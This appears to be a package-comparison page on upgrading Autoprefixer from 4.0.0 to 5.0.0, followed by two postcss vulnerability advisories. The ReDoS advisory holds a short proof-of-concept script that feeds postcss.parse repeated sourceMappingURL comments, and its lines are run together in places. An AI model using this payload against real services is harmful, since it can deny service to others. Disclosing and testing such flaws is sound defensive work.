Autoprefixer, a popular CSS processor that automatically adds vendor prefixes to CSS rules, saw a significant update between version 4.0.0 and 5.0.0. Developers considering an upgrade will find several notable changes. At its core, Autoprefixer relies on PostCSS for CSS parsing. Version 5.0.0 shifts to PostCSS version 4.0.1, while version 4.0.0 used PostCSS 3.0.1. Similarly, the core autoprefixing logic, encapsulated in the autoprefixer-core dependency, moves from version 4.0.0 to version 5.0.0. These underlying updates likely bring performance improvements, bug fixes, and perhaps new CSS features compatibility, enhancing the overall stability and effectiveness of the prefixing process.
Also, fs-extra sees an update from 0.11.1 to 0.14.0. The newer version was released on January 14, 2015, while the older version was released on November 14, 2014. Beyond the core dependencies, developers using Autoprefixer within their build processes might notice changes in the development dependencies. For instance, 6to5 (an older name for Babel) jumps from version 1.12.10 to 2.12.2 while request goes from 2.48.0 to 2.51.0, however, these are unlikely to directly impact end-users, but suggest internal improvements to the Autoprefixer codebase and testing environment. Updating offers access to the latest prefixing rules, reflecting evolving browser support and ensuring compatibility with modern CSS syntax. Developers should test diligently after updating to ensure seamless integration with their existing build pipelines.
All the vulnerabilities related to the version 5.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.